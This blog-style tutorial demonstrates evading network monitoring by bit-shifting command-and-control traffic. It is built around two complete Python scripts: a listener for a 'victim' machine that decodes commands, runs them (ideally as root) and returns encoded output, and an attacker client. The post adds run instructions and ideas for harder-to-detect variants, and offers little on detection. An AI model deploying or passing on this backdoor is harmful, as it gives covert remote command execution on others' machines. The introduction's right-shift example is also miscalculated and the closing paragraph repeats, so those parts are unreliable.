Introduction
In a nutshell, bit-shifting is a technique where the original data, at it's bit-level (1's and 0's) is "shifted" one or more entries to the left or the right. Below are examples with the original byte of 00100101 (or 37 in decimal... or 25 in hexademical) and shifted one bit left and right.
Bits shifted left one spot, converted to 01001010 (or 74 in decimal... or 4a in hexadecimal):
Bits shifted right one spot, converted to 10010010 (or 146 in decimal... or 92 in hexadecimal):
The Environment
I only used two machines to implement bit-shifting: one client and one server. The client will be our attacker's machine and the server will be our victim machine. For the attacker's machine, I just reused my Security Onion virtual machine from the last article as it has python, but any Linux distro or a Windows or Mac machine with python installed would work just fine. For the victim's machine, I used a Xubuntu Linux virtual machine with minimal specs (1 GB RAM and 2 processors). Both of these are running in Virtualbox on Windows 10.
The Code
On my new Github "evasion" repository, I have client and server bit-shifting Python scripts. The only pre-requisite is that both the victim and attacker have python installed. Most (if not all) Linux distributions have python available by default so those would be easy. Windows does have python distros as well, but may stick out like a sore thumb if the victim's organization is doing any kind of application monitoring (most are not). One of the next things on my list is a Powershell version of the server script as that's on ALL Windows 7 or newer operating systems in some form and is typically not logged very well... if at all.
bitshift-client.py
import socket | |
import sys | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
server_address = ("172.16.0.201",4444) | |
print >>sys.stderr, 'Connecting to %s, port %s' % server_address | |
sock.connect(server_address) | |
try: | |
while True: | |
cmd = raw_input('# ') | |
cmd = cmd.strip() | |
message = '' | |
for i in cmd: | |
tempint = ord(i) << 1 | |
message += chr(tempint) | |
sock.sendall(message) | |
data = sock.recv(2048) | |
message = '' | |
for i in data: | |
tempint = ord(i) >> 1 | |
message += chr(tempint) | |
print message | |
finally: | |
print >>sys.stderr, 'Closing socket' | |
sock.close() |
bitshift-server.py
import socket | |
import sys | |
import subprocess | |
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
server_address = ('172.16.0.201', 4444) | |
print >>sys.stderr,'Starting up on %s port %s' % server_address | |
sock.bind(server_address) | |
sock.listen(1) | |
while True: | |
print >>sys.stderr, 'Waiting for connection...' | |
connection,client_address = sock.accept() | |
try: | |
print >>sys.stderr, 'Connection from %s', client_address | |
while True: | |
command = '' | |
data = connection.recv(1024) | |
for i in data: | |
tempint = ord(i) >> 1 | |
command += chr(tempint) | |
print >> sys.stderr, 'Received "%s"' % data | |
if data: | |
command = command.strip() | |
print command | |
output = subprocess.check_output(command.split()) | |
ret_mesg = '' | |
for i in output: | |
tempint = ord(i) << 1 | |
ret_mesg += chr(tempint) | |
if (ret_mesg == ''): | |
ret_mesg = '\n' | |
connection.sendall(ret_mesg) | |
else: | |
print >>sys.stderr, 'No more data from %s', client_address | |
break | |
finally: | |
connection.close() |
Note: The server IP and port are hard-coded... so make the necessary changes if you want to try this out yourself (or, better yet, make these command-line options)
What is the code doing?
It's actually pretty simple (although I did script this with the greatest of faux-pas... no comments).
The client script would be on our attacker machine and would be sending commands to the victim's listening port -- opened by the bitshift-server.py script. When the attacker types his/her commands, the script performs a "bit-shift" to the left one place, character by character, and sends the newly shifted command to the server (victim). When the client receives the results back from the server, these results have also been shifted to the left by the victim machine and the client (attacker) must perform a bit-shift to the right to get the plain-text characters.
The server script would be running on our victim machine (preferably with admin rights) and is essentially a reverse shell listener... in a way. You don't get the full range of commands, but enough to be dangerous (especially if it's running as root). Once it receives data from the client, it takes each character and performs a right "bit-shift" on the data. When it responds back to the client, it does just what the client does... shifts the output data to the left, character by character and sends to the client.
That's a lot to absorb, so we'll see this from the attacker's point of view and what's being seen on the wire.
Seeing the scripts in action
First order of business is to launch Wireshark on the Security Onion (attacker) VM so we can see the traffic "on the wire":
sudo wireshark
To start the listener (server) on the victim Xubuntu machine, it's as simple as running:
sudo python bitshift-server.py
On the attacker (client) machine, it's just as easy. Open a new terminal and issue the following command:
sudo python bitshift-client.py
Once the client starts, it initiates a TCP three-way handshake and is ready to send data to the server. I'll just send a little test to see who we are on the victim machine:
# whoami
root
Looks pretty simple, but let's see what Wireshark saw by stopping our capture. First, as there was a little noise from our two machines, I just want to see the traffic between the two, so I set the display filter to:
That leaves me with 7 frames. The first three are the three-way handshake...
The next one is the "whoami" command sent to the server (PSH/ACK), which we should see the contents in the Data field of the Packet Details pane...
I've circled the hex that Wireshark was seeing, so hopefully it's making a little sense now. We also saw that the server sent back "root" as the response to whoami. Let's try to figure out what we should see in Wireshark:
So... we should see e4dedee8 in Wireshark's next PSH/ACK being sent from our server to our client. Here's what was found:
We do see our e4dedee8... but what's with the "14" tacked onto the end? Let's do a little reverse engineering and see what else was sent:
14 (hexadecimal) = 00010100 (binary)
bit-shift to the right... 00010100 > 00001010
00001010 (decimal) = 0a (hexadecimal)
Now, we can look at our ASCII man page again and see that 0a = '\n' (newline)... which certainly makes sense.
How do we catch it?
From a network monitoring perspective, I really have no idea unless there's an IDS or IPS that has a pre-processor that can "un-bit-shift" the data, then send the shifted data through its rulesets. The attacker could easily modify his code to bit-shift to the right first, then left once the obfuscated command is received, bit-shift more than one place, or even alternate shifting techniques during the single conversation. That would be a lot of processing of data and could easily overload an IDS.
This was just a simple whoami command. Imagine what other commands you could send via bit-shifting with room privileges... Comment below if you have any ideas how this relatively simple evasion technique can be detected.
This was just a simple whoami command. Imagine what other commands you could send via bit-shifting with room privileges... Comment below if you have any ideas how this relatively simple evasion technique can be detected.